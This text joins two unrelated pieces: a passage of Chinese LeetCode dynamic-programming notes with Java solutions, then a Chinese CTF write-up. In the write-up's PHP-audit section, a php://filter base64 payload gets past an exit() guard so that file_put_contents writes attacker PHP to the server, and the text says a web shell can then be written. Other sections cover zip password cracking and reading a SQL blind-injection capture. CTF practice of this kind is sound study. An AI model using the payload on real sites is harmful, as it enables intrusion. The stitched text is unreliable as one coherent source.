因为递增子区间不一定以最后一个元素为结尾,可以是任意一个元素结尾,因此需要返回 dp 数组累加的结果。
```java
public int numberOfArithmeticSlices(int[] A) {
if (A == null || A.length == 0) {
return 0;
}
int n = A.length;
int[] dp = new int[n];
for (int i = 2; i < n; i++) {
if (A[i] - A[i - 1] == A[i - 1] - A[i - 2]) {
dp[i] = dp[i - 1] + 1;
}
}
int total = 0;
for (int cnt : dp) {
total += cnt;
}
return total;
}
```
## 分割整数
### 1. 分割整数的最大乘积
343\. Integer Break (Medim)
[Leetcode](https://leetcode.com/problems/integer-break/description/) / [力扣](https://leetcode-cn.com/problems/integer-break/description/)
题目描述:For example, given n = 2, return 1 (2 = 1 + 1); given n = 10, return 36 (10 = 3 + 3 + 4).
```java
public int integerBreak(int n) {
int[] dp = new int[n + 1];
dp[1] = 1;
for (int i = 2; i <= n; i++) {
for (int j = 1; j <= i - 1; j++) {
dp[i] = Math.max(dp[i], Math.max(j * dp[i - j], j * (i - j)));
}
}
return dp[n];
}
```
### 2. 按平方数来分割整数
279\. Perfect Squares(Medium)
[Leetcode](https://leetcode.com/problems/perfect-squares/description/) / [力扣](https://leetcode-cn.com/problems/perfect-squares/description/)
题目描述:For example, given n = 12, return 3 because 12 = 4 + 4 + 4; given n = 13, return 2 because 13 = 4 + 9.
```java
public int numSquares(int n) {
List<Integer> squareList = generateSquareList(n);
int[] dp = new int[n + 1];
for (int i = 1; i <= n; i++) {
int min = Integer.MAX_VALUE;
for (int square : squareList) {
if (square > i) {
break;
}
min = Math.min(min, dp[i - square] + 1);
}
dp[i] = min;
}
return dp[n];
}
private List<Integer> generateSquareList(int n) {
List<Integer> squareList = new ArrayList<>();
int diff = 3;
int square = 1;
while (square <= n) {
squareList.add(square);
square += diff;
diff += 2;
}
return squareList;
}
```
### 3. 分割整数构成字母字符串
91\. Decode Ways (Medium)
[Leetcode](https://leetcode.com/problems/decode-ways/description/) / [力扣](https://leetcode-cn.com/problems/decode-ways/description/)
题目描述:Given encoded message "12", it could be decoded as "AB" (1 2) or "L" (12).
```java
public int numDecodings(String s) {
if (s == null || s.length() == 0) {
return 0;
}
int n = s.length();
int[] dp = new int[n + 1];
dp[0] = 1;
dp[1] = s.charAt(0) == '0' ? 0 : 1;
for (int i = 2; i <= n; i++) {
int one = Integer.valueOf(s.substring(i - 1, i));
if (one != 0) {
dp[i] += dp[i - 1];
}
if (s.charAt(i - 2) == '0') {
continue;
}
int two = Integer.valueOf(s.substring(i - 2, i));
if (two <= 26) {
dp[i] += dp[i - 2];
}
}
return dp[n];
}
```
## 最长递增子序列
已知一个序列 {S<sub>1</sub>, S<sub>2</sub>,...,S<sub>n</sub>},取出若干数组成新的序列 {S<sub>i1</sub>, S<sub>i2</sub>,..., S<sub>im</sub>},其中 i1、i2 ... im 保持递增,即新序列中各个数仍然保持原数列中的先后顺序,称新序列为原序列的一个 **子序列** 。
如果在子序列中,当下标 ix > iy 时,S<sub>ix</sub> > S<sub>iy</sub>,称子序列为原序列的一个 **递增子序列** 。
定义一个数组 dp 存储最长递增子序列的长度,dp[n] 表示以 S<sub>n</sub> 结尾的序列的最长递增子序列长度。对于一个递增子序列 {S<sub>i1</sub>, S<sub>i2</sub>,...,S<sub>im</sub>},如果 im < n 并且 S<sub>im</sub> < S<sub>n</sub>,此时 {S<sub>i1</sub>, S<sub>i2</sub>,..., S<sub>im</sub>, S<sub>n</sub>} 为一个递增子序列,递增子序列的长度增加 1。满足上述条件的递增子序列中,长度最长的那个递增子序列就是要找的,在长度最长的递增子序列上加上 S<sub>n</sub> 就构成了以 S<sub>n</sub> 为结尾的最长递增子序列。因此 dp[n] = max{ dp[i]+1 | S<sub>i</sub> < S<sub>n</sub> && i < n} 。
因为在求 dp[n] 时可能无法找到一个满足条件的递增子序列,此时 {S<sub>n</sub>} 就构成了递增子序列,需要对前面的求解方程做修改,令 dp[n] 最小为 1,即:
<!--<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[n]=max\{1,dp[i]+1|S_i<S_n\&\&i<n\}" class="mathjax-pic"/></div> <br>-->
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/ee994da4-0fc7-443d-ac56-c08caf00a204.jpg" width="350px"> </div><br>
对于一个长度为 N 的序列,最长递增子序列并不一定会以 S<sub>N</sub> 为结尾,因此 dp[N] 不是序列的最长递增子序列的长度,需要遍历 dp 数组找出最大值才是所要的结果,max{ dp[i] | 1 <= i <= N} 即为所求。
### 1. 最长递增子序列
300\. Longest Increasing Subsequence (Medium)
[Leetcode](https://leetcode.com/problems/longest-increasing-subsequence/description/) / [力扣](https://leetcode-cn.com/problems/longest-increasing-subsequence/description/)
```java
public int lengthOfLIS(int[] nums) {
int n = nums.length;
int[] dp = new int[n];
for (int i = 0; i < n; i++) {
int max = 1;
for (int j = 0; j < i; j++) {
if (nums[i] > nums[j]) {
max = Math.max(max, dp[j] + 1);
}
}
dp[i] = max;
}
return Arrays.stream(dp).max().orElse(0);
}
```
使用 Stream 求最大值会导致运行时间过长,可以改成以下形式:
```java
int ret = 0;
for (int i = 0; i < n; i++) {
ret = Math.max(ret, dp[i]);
}
return ret;
```
以上解法的时间复杂度为 O(N<sup>2</sup>),可以使用二分查找将时间复杂度降低为 O(NlogN)。
定义一个 tails 数组,其中 tails[i] 存储长度为 i + 1 的最长递增子序列的最后一个元素。对于一个元素 x,
- 如果它大于 tails 数组所有的值,那么把它添加到 tails 后面,表示最长递增子序列长度加 1;
- 如果 tails[i-1] \< x \<= tails[i],那么更新 tails[i] = x。
例如对于数组 [4,3,6,5],有:
```html
tails len num
[] 0 4
[4] 1 3
[3] 1 6
[3,6] 2 5
[3,5] 2 null
```
可以看出 tails 数组保持有序,因此在查找 S<sub>i</sub> 位于 tails 数组的位置时就可以使用二分查找。
```java
public int lengthOfLIS(int[] nums) {
int n = nums.length;
int[] tails = new int[n];
int len = 0;
for (int num : nums) {
int index = binarySearch(tails, len, num);
tails[index] = num;
if (index == len) {
len++;
}
}
return len;
}
private int binarySearch(int[] tails, int len, int key) {
int l = 0, h = len;
while (l < h) {
int mid = l + (h - l) / 2;
if (tails[mid] == key) {
return mid;
} else if (tails[mid] > key) {
h = mid;
} else {
l = mid + 1;
}
}
return l;
}
```
### 2. 一组整数对能够构成的最长链
646\. Maximum Length of Pair Chain (Medium)
[Leetcode](https://leetcode.com/problems/maximum-length-of-pair-chain/description/) / [力扣](https://leetcode-cn.com/problems/maximum-length-of-pair-chain/description/)
```html
Input: [[1,2], [2,3], [3,4]]
Output: 2
Explanation: The longest chain is [1,2] -> [3,4]
```
题目描述:对于 (a, b) 和 (c, d) ,如果 b \< c,则它们可以构成一条链。
```java
public int findLongestChain(int[][] pairs) {
if (pairs == null || pairs.length == 0) {
return 0;
}
Arrays.sort(pairs, (a, b) -> (a[0] - b[0]));
int n = pairs.length;
int[] dp = new int[n];
Arrays.fill(dp, 1);
for (int i = 1; i < n; i++) {
for (int j = 0; j < i; j++) {
if (pairs[j][1] < pairs[i][0]) {
dp[i] = Math.max(dp[i], dp[j] + 1);
}
}
}
return Arrays.stream(dp).max().orElse(0);
}
```
### 3. 最长摆动子序列
376\. Wiggle Subsequence (Medium)
[Leetcode](https://leetcode.com/problems/wiggle-subsequence/description/) / [力扣](https://leetcode-cn.com/problems/wiggle-subsequence/description/)
```html
Input: [1,7,4,9,2,5]
Output: 6
The entire sequence is a wiggle sequence.
Input: [1,17,5,10,13,15,10,5,16,8]
Output: 7
There are several subsequences that achieve this length. One is [1,17,10,13,10,16,8].
Input: [1,2,3,4,5,6,7,8,9]
Output: 2
```
要求:使用 O(N) 时间复杂度求解。
```java
public int wiggleMaxLength(int[] nums) {
if (nums == null || nums.length == 0) {
return 0;
}
int up = 1, down = 1;
for (int i = 1; i < nums.length; i++) {
if (nums[i] > nums[i - 1]) {
up = down + 1;
} else if (nums[i] < nums[i - 1]) {
down = up + 1;
}
}
return Math.max(up, down);
}
```
## 最长公共子序列
对于两个子序列 S1 和 S2,找出它们最长的公共子序列。
定义一个二维数组 dp 用来存储最长公共子序列的长度,其中 dp[i][j] 表示 S1 的前 i 个字符与 S2 的前 j 个字符最长公共子序列的长度。考虑 S1<sub>i</sub> 与 S2<sub>j</sub> 值是否相等,分为两种情况:
- 当 S1<sub>i</sub>==S2<sub>j</sub> 时,那么就能在 S1 的前 i-1 个字符与 S2 的前 j-1 个字符最长公共子序列的基础上再加上 S1<sub>i</sub> 这个值,最长公共子序列长度加 1,即 dp[i][j] = dp[i-1][j-1] + 1。
- 当 S1<sub>i</sub> != S2<sub>j</sub> 时,此时最长公共子序列为 S1 的前 i-1 个字符和 S2 的前 j 个字符最长公共子序列,或者 S1 的前 i 个字符和 S2 的前 j-1 个字符最长公共子序列,取它们的最大者,即 dp[i][j] = max{ dp[i-1][j], dp[i][j-1] }。
综上,最长公共子序列的状态转移方程为:
<!--<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i][j]=\left\{\begin{array}{rcl}dp[i-1][j-1]&&{S1_i==S2_j}\\max(dp[i-1][j],dp[i][j-1])&&{S1_i<>S2_j}\end{array}\right." class="mathjax-pic"/></div> <br>-->
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/ecd89a22-c075-4716-8423-e0ba89230e9a.jpg" width="450px"> </div><br>
对于长度为 N 的序列 S<sub>1</sub> 和长度为 M 的序列 S<sub>2</sub>,dp[N][M] 就是序列 S<sub>1</sub> 和序列 S<sub>2</sub> 的最长公共子序列长度。
与最长递增子序列相比,最长公共子序列有以下不同点:
- 针对的是两个序列,求它们的最长公共子序列。
- 在最长递增子序列中,dp[i] 表示以 S<sub>i</sub> 为结尾的最长递增子序列长度,子序列必须包含 S<sub>i</sub> ;在最长公共子序列中,dp[i][j] 表示 S1 中前 i 个字符与 S2 中前 j 个字符的最长公共子序列长度,不一定包含 S1<sub>i</sub> 和 S2<sub>j</sub>。
- 在求最终解时,最长公共子序列中 dp[N][M] 就是最终解,而最长递增子序列中 dp[N] 不是最终解,因为以 S<sub>N</sub> 为结尾的最长递增子序列不一定是整个序列最长递增子序列,需要遍历一遍 dp 数组找到最大者。
### 1. 最长公共子序列
1143\. Longest Common Subsequence
[Leetcode](https://leetcode.com/problems/longest-common-subsequence/) / [力扣](https://leetcode-cn.com/problems/longest-common-subsequence/)
```java
public int longestCommonSubsequence(String text1, String text2) {
int n1 = text1.length(), n2 = text2.length();
int[][] dp = new int[n1 + 1][n2 + 1];
for (int i = 1; i <= n1; i++) {
for (int j = 1; j <= n2; j++) {
if (text1.charAt(i - 1) == text2.charAt(j - 1)) {
dp[i][j] = dp[i - 1][j - 1] + 1;
} else {
dp[i][j] = Math.max(dp[i - 1][j], dp[i][j - 1]);
}
}
}
return dp[n1][n2];
}
```
## 0-1 背包
有一个容量为 N 的背包,要用这个背包装下物品的价值最大,这些物品有两个属性:体积 w 和价值 v。
定义一个二维数组 dp 存储最大价值,其中 dp[i][j] 表示前 i 件物品体积不超过 j 的情况下能达到的最大价值。设第 i 件物品体积为 w,价值为 v,根据第 i 件物品是否添加到背包中,可以分两种情况讨论:
- 第 i 件物品没添加到背包,总体积不超过 j 的前 i 件物品的最大价值就是总体积不超过 j 的前 i-1 件物品的最大价值,dp[i][j] = dp[i-1][j]。
- 第 i 件物品添加到背包中,dp[i][j] = dp[i-1][j-w] + v。
第 i 件物品可添加也可以不添加,取决于哪种情况下最大价值更大。因此,0-1 背包的状态转移方程为:
<!--<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i][j]=max(dp[i-1][j],dp[i-1][j-w]+v)" class="mathjax-pic"/></div> <br>-->
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/8cb2be66-3d47-41ba-b55b-319fc68940d4.png" width="400px"> </div><br>
```java
// W 为背包总体积
// N 为物品数量
// weights 数组存储 N 个物品的重量
// values 数组存储 N 个物品的价值
public int knapsack(int W, int N, int[] weights, int[] values) {
int[][] dp = new int[N + 1][W + 1];
for (int i = 1; i <= N; i++) {
int w = weights[i - 1], v = values[i - 1];
for (int j = 1; j <= W; j++) {
if (j >= w) {
dp[i][j] = Math.max(dp[i - 1][j], dp[i - 1][j - w] + v);
} else {
dp[i][j] = dp[i - 1][j];
}
}
}
return dp[N][W];
}
```
**空间优化**
在程序实现时可以对 0-1 背包做优化。观察状态转移方程可以知道,前 i 件物品的状态仅与前 i-1 件物品的状态有关,因此可以将 dp 定义为一维数组,其中 dp[j] 既可以表示 dp[i-1][j] 也可以表示 dp[i][j]。此时,
<!--<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[j]=max(dp[j],dp[j-w]+v)" class="mathjax-pic"/></div> <br>-->
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/9ae89f16-7905-4a6f-88a2-874b4cac91f4.jpg" width="300px"> </div><br>
因为 dp[j-w] 表示 dp[i-1][j-w],因此不能先求 dp[i][j-w],防止将 dp[i-1][j-w] 覆盖。也就是说要先计算 dp[i][j] 再计算 dp[i][j-w],在程序实现时需要按倒序来循环求解。
```java
public int knapsack(int W, int N, int[] weights, int[] values) {
int[] dp = new int[W + 1];
for (int i = 1; i <= N; i++) {
int w = weights[i - 1], v = values[i - 1];
for (int j = W; j >= 1; j--) {
if (j >= w) {
dp[j] = Math.max(dp[j], dp[j - w] + v);
}
}
}
return dp[W];
}
```
**无法使用贪心算法的解释**
0-1 背包问题无法使用贪心算法来求解,也就是说不能按照先添加性价比最高的物品来达到最优,这是因为这种方式可能造成背包空间的浪费,从而无法达到最优。考虑下面的物品和一个容量为 5 的背包,如果先添加物品 0 再添加物品 1,那么只能存放的价值为 16,浪费了大小为 2 的空间。最优的方式是存放物品 1 和物品 2,价值为 22.
| id | w | v | v/w |
| --- | --- | --- | --- |
| 0 | 1 | 6 | 6 |
| 1 | 2 | 10 | 5 |
| 2 | 3 | 12 | 4 |
**变种**
- 完全背包:物品数量为无限个
- 多重背包:物品数量有限制
- 多维费用背包:物品不仅有重量,还有体积,同时考虑这两种限制
- 其它:物品之间相互约束或者依赖
### 1. 划分数组为和相等的两部分
416\. Partition Equal Subset Sum (Medium)
[Leetcode](https://leetcode.com/problems/partition-equal-subset-sum/description/) / [力扣](https://leetcode-cn.com/problems/partition-equal-subset-sum/description/)
```html
Input: [1, 5, 11, 5]
Output: true
Explanation: The array can be partitioned as [1, 5, 5] and [11].
```
可以看成一个背包大小为 sum/2 的 0-1 背包问题。
```java
public boolean canPartition(int[] nums) {
int sum = computeArraySum(nums);
if (sum % 2 != 0) {
return false;
}
int W = sum / 2;
boolean[] dp = new boolean[W + 1];
dp[0] = true;
for (int num : nums) { // 0-1 背包一个物品只能用一次
for (int i = W; i >= num; i--) { // 从后往前,先计算 dp[i] 再计算 dp[i-num]
dp[i] = dp[i] || dp[i - num];
}
}
return dp[W];
}
private int computeArraySum(int[] nums) {
int sum = 0;
for (int num : nums) {
sum += num;
}
return sum;
}
```
### 2. 改变一组数的正负号使得它们的和为一给定数
494\. Target Sum (Medium)
[Leetcode](https://leetcode.com/problems/target-sum/description/) / [力扣](https://leetcode-cn.com/problems/target-sum/description/)
```html
Input: nums is [1, 1, 1, 1, 1], S is 3.
Output: 5
Explanation:
-1+1+1+1+1 = 3
+1-1+1+1+1 = 3
+1+1-1+1+1 = 3
+1+1+1-1+1 = 3
+1+1+1+1-1 = 3
There are 5 ways to assign symbols to make the sum of nums be target 3.
```
该问题可以转换为 Subset Sum 问题,从而使用 0-1 背包的方法来求解。
可以将这组数看成两部分,P 和 N,其中 P 使用正号,N 使用负号,有以下推导:
```html
sum(P) - sum(N) = target
sum(P) + sum(N) + sum(P) - sum(N) = target + sum(P) + sum(N)
2 * sum(P) = target + sum(nums)
```
因此只要找到一个子集,令它们都取正号,并且和等于 (target + sum(nums))/2,就证明存在解。
```java
public int findTargetSumWays(int[] nums, int S) {
int sum = computeArraySum(nums);
if (sum < S || (sum + S) % 2 == 1) {
return 0;
}
int W = (sum + S) / 2;
int[] dp = new int[W + 1];
dp[0] = 1;
for (int num : nums) {
for (int i = W; i >= num; i--) {
dp[i] = dp[i] + dp[i - num];
}
}
return dp[W];
}
private int computeArraySum(int[] nums) {
int sum = 0;
for (int num : nums) {
sum += num;
}
return sum;
}
```
DFS 解法:
```java
public int findTargetSumWays(int[] nums, int S) {
return findTargetSumWays(nums, 0, S);
}
private int findTargetSumWays(int[] nums, int start, int S) {
if (start == nums.length) {
return S == 0 ? 1 : 0;
}
return findTargetSumWays(nums, start + 1, S + nums[start])
+ findTargetSumWays(nums, start + 1, S - nums[start]);
}
```
### 3. 01 字符构成最多的字符串
474\. Ones and Zeroes (Medium)
[Leetcode](https://leetcode.com/problems/ones-and-zeroes/description/) / [力扣](https://leetcode-cn.com/problems/ones-and-zeroes/description/)
```html
Input: Array = {"10", "0001", "111001", "1", "0"}, m = 5, n = 3
Output: 4
Explanation: There are totally 4 strings can be formed by the using of 5 0s and 3 1s, which are "10","0001","1","0"
```
这是一个多维费用的 0-1 背包问题,有两个背包大小,0 的数量和 1 的数量。
```java
public int findMaxForm(String[] strs, int m, int n) {
if (strs == null || strs.length == 0) {
return 0;
}
int[][] dp = new int[m + 1][n + 1];
for (String s : strs) { // 每个字符串只能用一次
int ones = 0, zeros = 0;
for (char c : s.toCharArray()) {
if (c == '0') {
zeros++;
} else {
ones++;
}
}
for (int i = m; i >= zeros; i--) {
for (int j = n; j >= ones; j--) {
dp[i][j] = Math.max(dp[i][j], dp[i - zeros][j - ones] + 1);
}
}
}
return dp[m][n];
}
```
### 4. 找零钱的最少硬币数
322\. Coin Change (Medium)
[Leetcode](https://leetcode.com/problems/coin-change/description/) / [力扣](https://leetcode-cn.com/problems/coin-change/description/)
```html
Example 1:
coins = [1, 2, 5], amount = 11
return 3 (11 = 5 + 5 + 1)
Example 2:
coins = [2], amount = 3
return -1.
```
题目描述:给一些面额的硬币,要求用这些硬币来组成给定面额的钱数,并且使得硬币数量最少。硬币可以重复使用。
- 物品:硬币
- 物品大小:面额
- 物品价值:数量
因为硬币可以重复使用,因此这是一个完全背包问题。完全背包只需要将 0-1 背包的逆序遍历 dp 数组改为正序遍历即可。
```java
public int coinChange(int[] coins, int amount) {
if (amount == 0 || coins == null) return 0;
int[] dp = new int[amount + 1];
for (int coin : coins) {
for (int i = coin; i <= amount; i++) { //将逆序遍历改为正序遍历
if (i == coin) {
dp[i] = 1;
} else if (dp[i] == 0 && dp[i - coin] != 0) {
dp[i] = dp[i - coin] + 1;
} else if (dp[i - coin] != 0) {
dp[i] = Math.min(dp[i], dp[i - coin] + 1);
}
}
}
return dp[amount] == 0 ? -1 : dp[amount];
}
```
### 5. 找零钱的硬币数组合
518\. Coin Change 2 (Medium)
[Leetcode](https://leetcode.com/problems/coin-change-2/description/) / [力扣](https://leetcode-cn.com/problems/coin-change-2/description/)
```text-html-basic
Input: amount = 5, coins = [1, 2, 5]
Output: 4
Explanation: there are four ways to make up the amount:
5=5
5=2+2+1
5=2+1+1+1
5=1+1+1+1+1
```
完全背包问题,使用 dp 记录可达成目标的组合数目。
```java
public int change(int amount, int[] coins) {
if (coins == null) {
return 0;
}
int[] dp = new int[amount + 1];
dp[0] = 1;
for (int coin : coins) {
for (int i = coin; i <= amount; i++) {
dp[i] += dp[i - coin];
}
}
return dp[amount];
}
```
### 6. 字符串按单词列表分割
139\. Word Break (Medium)
[Leetcode](https://leetcode.com/problems/word-break/description/) / [力扣](https://leetcode-cn.com/problems/word-break/description/)
```html
s = "leetcode",
dict = ["leet", "code"].
Return true because "leetcode" can be segmented as "leet code".
```
dict 中的单词没有使用次数的限制,因此这是一个完全背包问题。
该问题涉及到字典中单词的使用顺序,也就是说物品必须按一定顺序放入背包中,例如下面的 dict 就不够组成字符串 "leetcode":
```html
["lee", "tc", "cod"]
```
求解顺序的完全背包问题时,对物品的迭代应该放在最里层,对背包的迭代放在外层,只有这样才能让物品按一定顺序放入背包中。
```java
public boolean wordBreak(String s, List<String> wordDict) {
int n = s.length();
boolean[] dp = new boolean[n + 1];
dp[0] = true;
for (int i = 1; i <= n; i++) {
for (String word : wordDict) { // 对物品的迭代应该放在最里层
int len = word.length();
if (len <= i && word.equals(s.substring(i - len, i))) {
dp[i] = dp[i] || dp[i - len];
}
}
}
return dp[n];
}
```
### 7. 组合总和
377\. Combination Sum IV (Medium)
[Leetcode](https://leetcode.com/problems/combination-sum-iv/description/) / [力扣](https://leetcode-cn.com/problems/combination-sum-iv/description/)
```html
nums = [1, 2, 3]
target = 4
The possible combination ways are:
(1, 1, 1, 1)
(1, 1, 2)
(1, 2, 1)
(1, 3)
(2, 1, 1)
(2, 2)
(3, 1)
Note that different sequences are counted as different combinations.
Therefore the output is 7.
```
涉及顺序的完全背包。
```java
public int combinationSum4(int[] nums, int target) {
if (nums == null || nums.length == 0) {
return 0;
}
int[] maximum = new int[target + 1];
maximum[0] = 1;
Arrays.sort(nums);
for (int i = 1; i <= target; i++) {
for (int j = 0; j < nums.length && nums[j] <= i; j++) {
maximum[i] += maximum[i - nums[j]];
}
}
return maximum[target];
}
```
## 股票交易
### 1. 需要冷却期的股票交易
309\. Best Time to Buy and Sell Stock with Cooldown(Medium)
[Leetcode](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-with-cooldown/description/) / [力扣](https://leetcode-cn.com/problems/best-time-to-buy-and-sell-stock-with-cooldown/description/)
题目描述:交易之后需要有一天的冷却时间。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/ffd96b99-8009-487c-8e98-11c9d44ef14f.png" width="300px"> </div><br>
```java
public int maxProfit(int[] prices) {
if (prices == null || prices.length == 0) {
return 0;
}
int N = prices.length;
int[] buy = new int[N];
int[] s1 = new int[N];
int[] sell = new int[N];
int[] s2 = new int[N];
s1[0] = buy[0] = -prices[0];
sell[0] = s2[0] = 0;
for (int i = 1; i < N; i++) {
buy[i] = s2[i - 1] - prices[i];
s1[i] = Math.max(buy[i - 1], s1[i - 1]);
sell[i] = Math.max(buy[i - 1], s1[i - 1]) + prices[i];
s2[i] = Math.max(s2[i - 1], sell[i - 1]);
}
return Math.max(sell[N - 1], s2[N - 1]);
}
```
### 2. 需要交易费用的股票交易
714\. Best Time to Buy and Sell Stock with Transaction Fee (Medium)
[Leetcode](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-with-transaction-fee/description/) / [力扣](https://leetcode-cn.com/problems/best-time-to-buy-and-sell-stock-with-transaction-fee/description/)
```html
Input: prices = [1, 3, 2, 8, 4, 9], fee = 2
Output: 8
Explanation: The maximum profit can be achieved by:
Buying at prices[0] = 1
Selling at prices[3] = 8
Buying at prices[4] = 4
Selling at prices[5] = 9
The total profit is ((8 - 1) - 2) + ((9 - 4) - 2) = 8.
```
题目描述:每交易一次,都要支付一定的费用。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/1e2c588c-72b7-445e-aacb-d55dc8a88c29.png" width="300px"> </div><br>
```java
public int maxProfit(int[] prices, int fee) {
int N = prices.length;
int[] buy = new int[N];
int[] s1 = new int[N];
int[] sell = new int[N];
int[] s2 = new int[N];
s1[0] = buy[0] = -prices[0];
sell[0] = s2[0] = 0;
for (int i = 1; i < N; i++) {
buy[i] = Math.max(sell[i - 1], s2[i - 1]) - prices[i];
s1[i] = Math.max(buy[i - 1], s1[i - 1]);
sell[i] = Math.max(buy[i - 1], s1[i - 1]) - fee + prices[i];
s2[i] = Math.max(s2[i - 1], sell[i - 1]);
}
return Math.max(sell[N - 1], s2[N - 1]);
}
```
### 3. 只能进行两次的股票交易
123\. Best Time to Buy and Sell Stock III (Hard)
[Leetcode](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-iii/description/) / [力扣](https://leetcode-cn.com/problems/best-time-to-buy-and-sell-stock-iii/description/)
```java
public int maxProfit(int[] prices) {
int firstBuy = Integer.MIN_VALUE, firstSell = 0;
int secondBuy = Integer.MIN_VALUE, secondSell = 0;
for (int curPrice : prices) {
if (firstBuy < -curPrice) {
firstBuy = -curPrice;
}
if (firstSell < firstBuy + curPrice) {
firstSell = firstBuy + curPrice;
}
if (secondBuy < firstSell - curPrice) {
secondBuy = firstSell - curPrice;
}
if (secondSell < secondBuy + curPrice) {
secondSell = secondBuy + curPrice;
}
}
return secondSell;
}
```
### 4. 只能进行 k 次的股票交易
188\. Best Time to Buy and Sell Stock IV (Hard)
[Leetcode](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-iv/description/) / [力扣](https://leetcode-cn.com/problems/best-time-to-buy-and-sell-stock-iv/description/)
```java
public int maxProfit(int k, int[] prices) {
int n = prices.length;
if (k >= n / 2) { // 这种情况下该问题退化为普通的股票交易问题
int maxProfit = 0;
for (int i = 1; i < n; i++) {
if (prices[i] > prices[i - 1]) {
maxProfit += prices[i] - prices[i - 1];
}
}
return maxProfit;
}
int[][] maxProfit = new int[k + 1][n];
for (int i = 1; i <= k; i++) {
int localMax = maxProfit[i - 1][0] - prices[0];
for (int j = 1; j < n; j++) {
maxProfit[i][j] = Math.max(maxProfit[i][j - 1], prices[j] + localMax);
localMax = Math.max(localMax, maxProfit[i - 1][j] - prices[j]);
}
}
return maxProfit[k][n - 1];
}
```
## 字符串编辑
### 1. 删除两个字符串的字符使它们相等
583\. Delete Operation for Two Strings (Medium)
[Leetcode](https://leetcode.com/problems/delete-operation-for-two-strings/description/) / [力扣](https://leetcode-cn.com/problems/delete-operation-for-two-strings/description/)
```html
Input: "sea", "eat"
Output: 2
Explanation: You need one step to make "sea" to "ea" and another step to make "eat" to "ea".
```
可以转换为求两个字符串的最长公共子序列问题。
```java
public int minDistance(String word1, String word2) {
int m = word1.length(), n = word2.length();
int[][] dp = new int[m + 1][n + 1];
for (int i = 1; i <= m; i++) {
for (int j = 1; j <= n; j++) {
if (word1.charAt(i - 1) == word2.charAt(j - 1)) {
dp[i][j] = dp[i - 1][j - 1] + 1;
} else {
dp[i][j] = Math.max(dp[i][j - 1], dp[i - 1][j]);
}
}
}
return m + n - 2 * dp[m][n];
}
```
### 2. 编辑距离
72\. Edit Distance (Hard)
[Leetcode](https://leetcode.com/problems/edit-distance/description/) / [力扣](https://leetcode-cn.com/problems/edit-distance/description/)
```html
Example 1:
Input: word1 = "horse", word2 = "ros"
Output: 3
Explanation:
horse -> rorse (replace 'h' with 'r')
rorse -> rose (remove 'r')
rose -> ros (remove 'e')
Example 2:
Input: word1 = "intention", word2 = "execution"
Output: 5
Explanation:
intention -> inention (remove 't')
inention -> enention (replace 'i' with 'e')
enention -> exention (replace 'n' with 'x')
exention -> exection (replace 'n' with 'c')
exection -> execution (insert 'u')
```
题目描述:修改一个字符串成为另一个字符串,使得修改次数最少。一次修改操作包括:插入一个字符、删除一个字符、替换一个字符。
```java
public int minDistance(String word1, String word2) {
if (word1 == null || word2 == null) {
return 0;
}
int m = word1.length(), n = word2.length();
int[][] dp = new int[m + 1][n + 1];
for (int i = 1; i <= m; i++) {
dp[i][0] = i;
}
for (int i = 1; i <= n; i++) {
dp[0][i] = i;
}
for (int i = 1; i <= m; i++) {
for (int j = 1; j <= n; j++) {
if (word1.charAt(i - 1) == word2.charAt(j - 1)) {
dp[i][j] = dp[i - 1][j - 1];
} else {
dp[i][j] = Math.min(dp[i - 1][j - 1], Math.min(dp[i][j - 1], dp[i - 1][j])) + 1;
}
}
}
return dp[m][n];
}
```
### 3. 复制粘贴字符
650\. 2 Keys Keyboard (Medium)
[Leetcode](https://leetcode.com/problems/2-keys-keyboard/description/) / [力扣](https://leetcode-cn.com/problems/2-keys-keyboard/description/)
题目描述:最开始只有一个字符 A,问需要多少次操作能够得到 n 个字符 A,每次操作可以复制当前所有的字符,或者粘贴。
```
Input: 3
Output: 3
Explanation:
Intitally, we have one character 'A'.
In step 1, we use Copy All operation.
In step 2, we use Paste operation to get 'AA'.
In step 3, we use Paste operation to get 'AAA'.
```
```java
public int minSteps(int n) {
if (n == 1) return 0;
for (int i = 2; i <= Math.sqrt(n); i++) {
if (n % i == 0) return i + minSteps(n / i);
}
return n;
}
```
```java
public int minSteps(int n) {
int[] dp = new int[n + 1];
int h = (int) Math.sqrt(n);
for (int i = 2; i <= n; i++) {
dp[i] = i;
for (int j = 2; j <= h; j++) {
if (i % j == 0) {
dp[i] = dp[j] + dp[i / j];
break;
}
}
}
return dp[n];
}
```
|
sec-knowleage
|
# Web
## 签到
略
---
## php审计
```php
<?php
$content = '<?php exit(0);?>';
$content .= @$_POST['code'];
$filename = @$_POST['filename'];
if (isset($filename)){
file_put_contents($filename, $content);
}else{
echo "今天天气不错";
}
?>
```
通过 base64 绕过 `<?php exit(0);?>`
```
code=PD9waHAgcGhwaW5mbygpID8+&filename=php://filter/write=convert.base64-decode/resource=1.php
```
接下来直接写shell即可
---
# Misc
## 压缩包
打开zip文件 查看注释,发现密码为6位数字
使用软件爆破,密码是 732654
解压出来一个 111.zip 和一个 trips.txt
用winrar修复即可打开111.zip
查看 sh 内容发现 压缩包密码是时间戳
查看压缩包时间
构造时间戳字典
爆破
查看flag
key:F8CA0E5735CB2E6F
---
## 流量分析
直接解压得到流量包
过滤仅http
过滤http流量 ,然后 文件 》导出分组解析结果 》为CSV 保存为 123.txt
用 notepad++ 打开 123.txt,可以看到语句语句中还是夹杂着很多的 urlcode
Ctrl+A 全选 , 然后 插件 》MIME Tools 》 url decode ,这样就把 URLcode 转为更直观的 ascii 了
这个其实就是用二分法 进行 sql 盲注
前面代表是测试第几个 字符 后面代表 与当前测试的字符的 ascii 值 相比较的值
手动分析得出flag
```
1=107 k
2=101 e
3=121 y
4=58 :
5=97 a
6=52 4
7=54 6
8=100 d
9=99 c
